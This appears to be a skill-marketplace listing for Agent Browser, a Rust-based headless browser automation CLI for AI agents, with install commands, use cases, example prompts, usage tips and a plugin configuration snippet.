Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
Why use this skill?
Automate web browsing with OpenClaw Agent Browser. Fast Rust-based headless interaction for navigating, clicking, and scraping complex web applications seamlessly.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/iqbalnaveliano/agent-browser-zd1dook9mtfzWhat This Skill Does
The Agent Browser skill is a sophisticated, high-performance browser automation toolkit designed specifically for AI agents. By leveraging a fast Rust-based headless engine with a Node.js fallback, it enables agents to programmatically navigate the web, interpret complex DOM structures, and interact with web elements just like a human user. Unlike simple scrapers, this skill generates structured, actionable snapshots (represented by unique @refs), allowing an AI to identify specific inputs, buttons, and interactive components. This bidirectional communication—where the agent sees the page state and subsequently executes precise actions—turns any standard website into an interactive interface for your AI tasks.
Installation
To begin, ensure you have the OpenClawProvider installed as per the prerequisites. Once the provider is active, run the installation via the CLI: clawhub install openclaw/skills/skills/iqbalnaveliano/agent-browser-zd1dook9mtfz. For optimal performance, verify that the agent-browser package is available globally via npm by executing npm install -g agent-browser and performing the dependency check with agent-browser install --with-deps.
Use Cases
- Automated Form Filling: Efficiently completing repetitive web forms, surveys, or data entry tasks across multiple platforms.
- Web Research & Monitoring: Navigating to news or stock portals, performing searches, and extracting data from dynamic content that standard GET requests cannot reach.
- Regression Testing: Programmatically navigating through application flows to verify that key features remain functional after updates.
- Content Aggregation: Collecting information from behind login screens or complex JavaScript-rendered interfaces where traditional scraping tools fail.
Example Prompts
- "Open https://example.com/login, take a snapshot to find the login form, fill the email field with my credentials, and click the submit button."
- "Go to the search page, type 'current market trends' into the search input, press Enter, and list the headers of the top three results."
- "Navigate to the dashboard, scroll down by 800 pixels to load more data, and capture a screenshot of the main content area."
Tips & Limitations
- Always use
agent-browser snapshot -ias your primary mode for interaction to reduce noise from layout-only elements. - When building automation flows, re-snapshot the page after any interaction that triggers a navigation or dynamic DOM update to ensure your @refs remain valid.
- Note that this tool executes actions in a headless browser; ensure your target site permits automated interaction and that you are complying with their robots.txt policies.
- If a specific interaction fails, try using
focus @e1before executing a command to ensure the element is in the correct state for input or clicking.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-iqbalnaveliano-agent-browser-zd1dook9mtfz": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution
Related Skills
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.
coding-opencode
Memungkinkan penggunaan agen pengkodean OpenCode yang telah dikustomisasi dengan "Oh My OpenCode" untuk tugas pengembangan kode yang kompleks, eksplorasi codebase, debugging, refactoring, dan orkestrasi multi-model. Gunakan skill ini ketika Anda membutuhkan bantuan coding AI yang otonom dan canggih, terutama saat Anda ingin memanfaatkan fitur-fitur "Oh My OpenCode" seperti agen Sisyphus, Hephaestus, Oracle, Librarian, atau Explorer, serta alat LSP/AST.